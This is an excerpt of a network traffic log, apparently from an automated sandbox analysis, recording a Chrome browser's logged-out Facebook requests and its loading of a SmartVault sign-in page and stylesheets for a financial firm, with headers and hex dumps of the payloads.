2024-04-11 20:35:39 UTC	729	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=c&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
2024-04-11 20:35:39 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:39 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:39 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	50073	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:39 UTC	713	OUT	GET /secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	1490	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 20548 Connection: close Cache-Control: private Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	14894	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 6e 73 3a 69 70 70 3d 22 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 32 6c 67 7a 75 76 6a 35 6a 39 6e 39 70 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 33 72 64 50 61 72 74 79 2f 6a 71 75 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:ipp=""><head><script src="https://d2lgzuvj5j9n9p.cloudfront.net/3rdParty/jque
2024-04-11 20:35:40 UTC	5654	IN	Data Raw: 30 5f 4d 61 73 74 65 72 46 6f 6f 74 65 72 31 5f 6c 69 6e 6b 4c 65 67 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 6d 61 72 74 76 61 75 6c 74 2e 63 6f 6d 2f 65 75 6c 61 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 4c 65 67 61 6c 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 3e 26 6e 62 73 70 3b 26 62 75 6c 6c 3b 26 6e 62 73 70 3b 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 69 64 3d 22 63 74 6c 30 30 5f 4d 61 73 74 65 72 46 6f 6f 74 65 72 31 5f 6c 69 6e 6b 50 6f 6c 69 63 79 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 6d 61 72 74 76 61 75 6c 74 2e 63 6f 6d 2f 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 2f 22 20 74 61 72 67 65 74 Data Ascii: 0_MasterFooter1_linkLegal" href="http://www.smartvault.com/eula/" target="_blank">Legal</a></li> <li> • </li> <li> <a id="ctl00_MasterFooter1_linkPolicy" href="http://www.smartvault.com/privacy-policy/" target

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	50076	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	1303	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=d&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 972 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAedRj2h3nfiAmAu6 sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
2024-04-11 20:35:40 UTC	972	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 41 65 64 52 6a 32 68 33 6e 66 69 41 6d 41 75 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 39 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 41 65 64 52 6a 32 68 33 6e 66 69 41 6d 41 75 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 6f 73 74 5f 30 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 62 6c 6f 62 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 9c 6d 51 5b Data Ascii: ------WebKitFormBoundaryAedRj2h3nfiAmAu6Content-Disposition: form-data; name="ts"1712867739786------WebKitFormBoundaryAedRj2h3nfiAmAu6Content-Disposition: form-data; name="post_0"; filename="blob"Content-Type: application/octet-streamxmQ[
2024-04-11 20:35:40 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:40 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:40 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	50080	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	635	OUT	GET /css/common.css HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/css Content-Length: 48702 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	3754	IN	Data Raw: 0d 0a 61 2c 20 61 3a 6c 69 6e 6b 2c 20 61 3a 76 69 73 69 74 65 64 0d 0a 7b 0d 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 2c 20 61 3a 66 6f 63 75 73 0d 0a 7b 0d 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 74 65 78 74 0d 0a 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 65 6d 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 74 65 78 74 20 70 0d 0a 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 74 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b Data Ascii: a, a:link, a:visited{ text-decoration: none;}a:hover, a:active, a:focus{ text-decoration: underline;}div.text{ padding-top: 1em; padding-left: 1em;}div.text p{ font-size: 12pt; padding-bottom: 1em;
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 6b 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 74 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 69 64 65 62 61 72 20 61 2e 65 78 63 69 74 69 6e 67 0d 0a 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 6c 61 72 67 65 72 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 69 64 65 62 61 72 20 61 2e 65 78 63 69 74 69 6e 67 3a 68 6f 76 65 72 0d 0a 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 6c 61 72 67 65 72 3b 0d 0a 7d 0d 0a 2e 73 69 64 65 62 61 72 20 61 2c 20 2e 73 69 64 65 62 61 72 20 61 3a 68 6f 76 65 72 0d 0a 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d Data Ascii: k; font-size: 13pt; font-weight: bold;}.sidebar a.exciting{ font-size: larger;}.sidebar a.exciting:hover{ font-size: larger;}.sidebar a, .sidebar a:hover{ display: block; margin: 0px; border: none;
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 38 32 62 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 6c 70 43 6f 6e 74 65 6e 74 20 23 43 72 65 61 74 65 44 61 74 65 0d 0a 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 6c 70 43 6f 6e 74 65 6e 74 20 23 4b 65 79 57 6f 72 64 73 0d 0a 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 6c 70 43 6f 6e 74 65 6e 74 20 55 4c 2c 20 2e 74 61 62 56 69 65 77 43 6f 6e 74 65 6e 74 20 55 4c 0d 0a 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 70 61 64 Data Ascii: 82b; color: black; line-height: 32px; padding-left: 0px;}.helpContent #CreateDate{ margin-top: 20px;}.helpContent #KeyWords{ margin-top: 5px;}.helpContent UL, .tabViewContent UL{ margin: 10px; pad
2024-04-11 20:35:40 UTC	12180	IN	Data Raw: 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 34 30 35 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 34 30 70 78 3b 0d 0a 7d 0d 0a 2e 4c 6f 67 69 6e 42 6f 78 0d 0a 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 35 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 34 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 4c 6f 67 69 6e 42 6f 78 20 2e 74 6f 70 70 65 72 0d 0a 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 37 30 70 78 20 31 30 Data Ascii: min-width: 405px; margin: 0 auto; text-align: center; padding-bottom: 40px;}.LoginBox{ width: 405px; margin: 0 auto; text-align: left; padding-bottom: 40px;}.LoginBox .topper{ padding: 40px 70px 10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	50077	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	659	OUT	GET /secure/CustomCss.ashx?o=none&version=0 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/css; charset=utf-8 Content-Length: 1389 Connection: close Cache-Control: no-cache, no-store Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	1389	IN	Data Raw: 2e 68 65 61 64 65 72 0d 0a 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 6f 67 6f 0d 0a 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2f 73 65 63 75 72 65 2f 48 65 61 64 65 72 2e 61 73 68 78 3f 6f 3d 5a 44 50 39 56 70 66 5a 36 45 75 4b 38 71 4a 37 47 56 6e 4e 69 51 26 76 65 72 73 69 6f 6e 3d 30 31 38 65 4f 5a 6e 4a 4f 30 65 67 5f 44 65 57 34 54 66 4d 6a 77 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 20 74 6f 70 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2e 4c 6f 67 69 6e 42 6f 78 2c 20 2e 4c 6f 67 69 6e 46 6f 72 6d 20 68 32 2c 20 2e 6e 65 77 55 73 65 72 73 20 68 32 0d 0a 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0d 0a 7d 0d 0a 0d 0a 2e 4c 6f 67 69 6e 42 6f Data Ascii: .header{ background: #FFFFFF;}.logo{ background: url(/secure/Header.ashx?o=ZDP9VpfZ6EuK8qJ7GVnNiQ&version=018eOZnJO0eg_DeW4TfMjw) no-repeat left top;}.LoginBox, .LoginForm h2, .newUsers h2{ color: #FFFFFF;}.LoginBo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	50079	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	645	OUT	GET /css/PasswordStrength.css HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
